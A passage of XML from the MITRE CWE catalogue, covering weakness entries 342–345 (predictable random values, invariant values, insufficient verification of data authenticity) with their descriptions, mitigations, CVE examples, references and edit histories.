					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="342" Name="Predictable Exact Value from Previous Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>An exact value or random number can be precisely predicted by
					observing previous values.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Increase the entropy used to seed a PRNG.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.342.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-50">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a PRNG that periodically re-seeds itself using input from
							high-quality sources, such as hardware devices with high entropy.
							However, do not re-seed too frequently, or else the entropy source might
							block.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1463</Observed_Example_Reference>
					          <Observed_Example_Description>Firewall generates easily predictable initial
						sequence numbers (ISN), which allows remote attackers to spoof connections.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0074</Observed_Example_Reference>
					          <Observed_Example_Description>Listening TCP ports are sequentially allocated,
						allowing spoofing attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0077</Observed_Example_Reference>
					          <Observed_Example_Description>Predictable TCP sequence numbers allow
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0335</Observed_Example_Reference>
					          <Observed_Example_Description>DNS resolver uses predictable IDs, allowing a
						local user to spoof DNS query results.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.342.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.342.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Predictable Exact Value from Previous
						Values</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="343" Name="Predictable Value Range from Previous Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software's random number generator produces a series of
					values which, when observed, can be used to infer a relatively small range of
					possibilities for the next value that could be generated.</Description_Summary>
				        <Extended_Description>
					          <Text>The output of a random number generator should not be predictable based on
						observations of previous values. In some cases, an attacker cannot predict
						the exact value that will be produced next, but can narrow down the
						possibilities significantly. This reduces the amount of effort to perform a
						brute force attack. For example, suppose the product generates random
						numbers between 1 and 100, but it always produces a larger value until it
						reaches 100. If the generator produces an 80, then the attacker knows that
						the next value will be somewhere between 81 and 100. Instead of 100
						possibilities, the attacker only needs to consider 20.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Increase the entropy used to seed a PRNG.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.343.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-50">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a PRNG that periodically re-seeds itself using input from
							high-quality sources, such as hardware devices with high entropy.
							However, do not re-seed too frequently, or else the entropy source might
							block.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.343.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.343.2">
					          <Reference_Author>Michal Zalewski</Reference_Author>
					          <Reference_Title>Strange Attractors and TCP/IP Sequence Number
						Analysis</Reference_Title>
					          <Reference_PubDate>2001</Reference_PubDate>
					          <Reference_Link>http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.343.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Predictable Value Range from Previous
						Values</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="344" Name="Use of Invariant Value in Dynamically Changing Context" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a constant value, name, or reference, but this
					value can (or should) vary across different environments.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>overlaps default configuration.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This is often a factor in attacks on web browsers, in which known or
						predictable filenames become necessary to exploit browser
						vulnerabilities.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0980</Observed_Example_Reference>
					          <Observed_Example_Description>Component for web browser writes an error message
						to a known location, which can then be referenced by attackers to process
						HTML/script in a less restrictive context</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Mutability</Relevant_Property>
				        <Relevant_Property>Uniqueness</Relevant_Property>
			      </Relevant_Properties>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.344.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Static Value in Unpredictable Context</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes,
						Relevant_Properties, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Static Value in Unpredictable
						Context</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="345" Name="Insufficient Verification of Data Authenticity" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not sufficiently verify the origin or
					authenticity of data, in a way that causes it to accept invalid
					data.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>"origin validation" could fall under this.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The specific ways in which the origin is not properly identified should be
						laid out as separate weaknesses. In some sense, this is more like a
						category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 15: Not Updating Easily." Page 231</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient Verification of Data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Content Spoofing </Mapped_Node_Name>
					          <Mapped_Node_ID>12</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>111</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>141</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>209</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>218</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>384</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>385</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>386</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>387</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>388</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>389</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
